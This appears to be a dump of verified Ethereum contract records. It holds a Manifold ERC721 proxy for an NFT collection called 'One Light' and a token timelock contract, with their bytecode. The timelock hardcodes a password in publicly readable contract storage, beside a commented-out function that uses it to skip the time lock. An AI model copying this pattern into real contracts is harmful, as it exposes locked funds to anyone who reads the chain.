e5b80915050929150505600a165627a7a723058207940416bf81b47d0f16457e40fe6083fe3d3aa8243d5d248d82a4f7ecedc839c0029
[ 38 ]
0xf32f16fa909d688b101b4e2f588a3a956a2187d0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: One Light /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////// // // // // // @@@@@@@@@@@@@@@@@@@@ = -#@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |- ]@[email protected]@@QQBBBBB // // @@@@@@@@@@@@@@@@@@@Q " ,#" @@=""""""""""""[email protected]@@@@@@@@@@O || ]@@@[email protected] // // @@@@@@@@@@@@@@@@@@@@@@" "= "#=#Qm" "@@@@@@@@@N ]| ]@[email protected]@@QEBBBBB // // @@@@@@@@@@@@@@@@@@@@@@Q, , "" ]@@@@@@@E ]| ][email protected]@BEBEBE1 // // @@@@@@@@@@@@@@@@@@@@@@@@@m @@ @@@@@@@L =]@@[email protected]@BKBBBBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@@]m]Q @@@@@@@I ,[email protected]="@[email protected] // // @@@@@@@@@@@@@@@@@@@@@@@@@@| @m @ @@@@@@G @[email protected] // // @@@@@@@@@@@@@@@@@@@@@@@@@|t @@ |@@@@@H ,-"`%@@QBBBBBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@U #@@@@@T ]@@QRQBBBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@OL @@@@@@U ]@@QBQBBBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@ Q ]@@@@@@U @@@@ERBBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@ @@][email protected]# , @@@@@@@U @[email protected]@QEQBBE // // @@@@@@@@@@@@@@@@@@@@@@@@@ @@[email protected]@@ {@@@]@@@@@@@@U @@@@QQAMYJ // // @@@@@@@@@@@@@@@@@@@@@@@@@ @@@]@@# ]@@@[email protected]@@@@@@@@| #@@@[email protected] // // @@@@@@@@@@@@@@@@@@@@@@@@@ @@@[email protected]@@# ]@@@[email protected]@@@@@@@@@| %@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@ @@@[email protected]@@= "%@[email protected]@@@@@@@@@@ {@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@]@@@[email protected]@ [email protected]@@@@@@@@@@` ]@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@|]@@@L%` [email protected]@@@@@@@@@@#,, """ [email protected]@@ // // @@@@@@@@@@@@@@@@@@@@@@@@m]##^ ]#,""=##@@@@@==[ ]=====" // // @@@@@@@@@@@@@@@@@@@="" ""' """ ' |==|""" // // @@@@@@@@@@@@@@@| - ||=="== // // ''|'''`"""""""" ],, @[email protected]#= // // - ' ""'' "" @1#@@=" // // ' ==, :, @|@|="[ // // "" """'" " |, ]@@M ]"@"====' // // [=#" "'' // // #" =='""=,, // // @` == ]={| // // ""=="""=. [email protected]@[email protected]@#@@@[email protected],#@@#@ ""=="""=. [email protected]@[email protected]@#@@@[email protected],#@@#@ // // // // // /////////////////////////////////////////////////////////////////////////////////////////////// contract SM1TH is ERC721Creator { constructor() ERC721Creator("One Light", "SM1TH") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220331fa12606515cfa3bfdf1dfaedd71e85683cfd88eccf670efb25d47b291ab7c64736f6c63430008070033
[ 5 ]
0xf3301b030fF8d0f076Ef08dE93Bd970A221c1010
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.8.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; string private _password = "atizen!@#$"; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } function getLockedAmount() public view virtual returns (uint256) { uint256 amount = token().balanceOf(address(this)); return amount; } /* function releasePassword(string memory pw) public virtual { //require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); require(keccak256(abi.encodePacked(pw)) == keccak256(abi.encodePacked(_password)), "TokenTimelock: Check Password"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } */ }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063252bc8861461005c57806338af3eed1461007a57806386d1a69f14610098578063b91d4001146100a2578063fc0c546a146100c0575b600080fd5b6100646100de565b6040516100719190610944565b60405180910390f35b61008261017a565b60405161008f9190610823565b60405180910390f35b6100a06101a2565b005b6100aa6102ff565b6040516100b79190610944565b60405180910390f35b6100c8610327565b6040516100d59190610867565b60405180910390f35b6000806100e9610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101219190610823565b60206040518083038186803b15801561013957600080fd5b505afa15801561014d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101719190610699565b90508091505090565b60007f000000000000000000000000f3537ac805e1ce18aa9f61a4b1dcd04f10a007e9905090565b6101aa6102ff565b4210156101ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e3906108a4565b60405180910390fd5b60006101f6610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161022e9190610823565b60206040518083038186803b15801561024657600080fd5b505afa15801561025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027e9190610699565b9050600081116102c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ba90610924565b60405180910390fd5b6102fc6102ce61017a565b826102d7610327565b73ffffffffffffffffffffffffffffffffffffffff1661034f9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000062e698f0905090565b60007f000000000000000000000000aa2d8c9a8bd0f7945143bfd509be3ff23dd78918905090565b6103d08363a9059cbb60e01b848460405160240161036e92919061083e565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103d5565b505050565b6000610437826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661049c9092919063ffffffff16565b90506000815111156104975780806020019051810190610457919061066c565b610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610904565b60405180910390fd5b5b505050565b60606104ab84846000856104b4565b90509392505050565b6060824710156104f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f0906108c4565b60405180910390fd5b610502856105c8565b610541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610538906108e4565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161056a919061080c565b60006040518083038185875af1925050503d80600081146105a7576040519150601f19603f3d011682016040523d82523d6000602084013e6105ac565b606091505b50915091506105bc8282866105db565b92505050949350505050565b600080823b905060008111915050919050565b606083156105eb5782905061063b565b6000835111156105fe5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106329190610882565b60405180910390fd5b9392505050565b60008151905061065181610bbd565b92915050565b60008151905061066681610bd4565b92915050565b60006020828403121561068257610681610a42565b5b600061069084828501610642565b91505092915050565b6000602082840312156106af576106ae610a42565b5b60006106bd84828501610657565b91505092915050565b6106cf81610991565b82525050565b60006106e08261095f565b6106ea8185610975565b93506106fa818560208601610a0f565b80840191505092915050565b61070f816109d9565b82525050565b60006107208261096a565b61072a8185610980565b935061073a818560208601610a0f565b61074381610a47565b840191505092915050565b600061075b603283610980565b915061076682610a58565b604082019050919050565b600061077e602683610980565b915061078982610aa7565b604082019050919050565b60006107a1601d83610980565b91506107ac82610af6565b602082019050919050565b60006107c4602a83610980565b91506107cf82610b1f565b604082019050919050565b60006107e7602383610980565b91506107f282610b6e565b604082019050919050565b610806816109cf565b82525050565b600061081882846106d5565b915081905092915050565b600060208201905061083860008301846106c6565b92915050565b600060408201905061085360008301856106c6565b61086060208301846107fd565b9392505050565b600060208201905061087c6000830184610706565b92915050565b6000602082019050818103600083015261089c8184610715565b905092915050565b600060208201905081810360008301526108bd8161074e565b9050919050565b600060208201905081810360008301526108dd81610771565b9050919050565b600060208201905081810360008301526108fd81610794565b9050919050565b6000602082019050818103600083015261091d816107b7565b9050919050565b6000602082019050818103600083015261093d816107da565b9050919050565b600060208201905061095960008301846107fd565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061099c826109af565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109e4826109eb565b9050919050565b60006109f6826109fd565b9050919050565b6000610a08826109af565b9050919050565b60005b83811015610a2d578082015181840152602081019050610a12565b83811115610a3c576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610bc6816109a3565b8114610bd157600080fd5b50565b610bdd816109cf565b8114610be857600080fd5b5056fea2646970667358221220d61d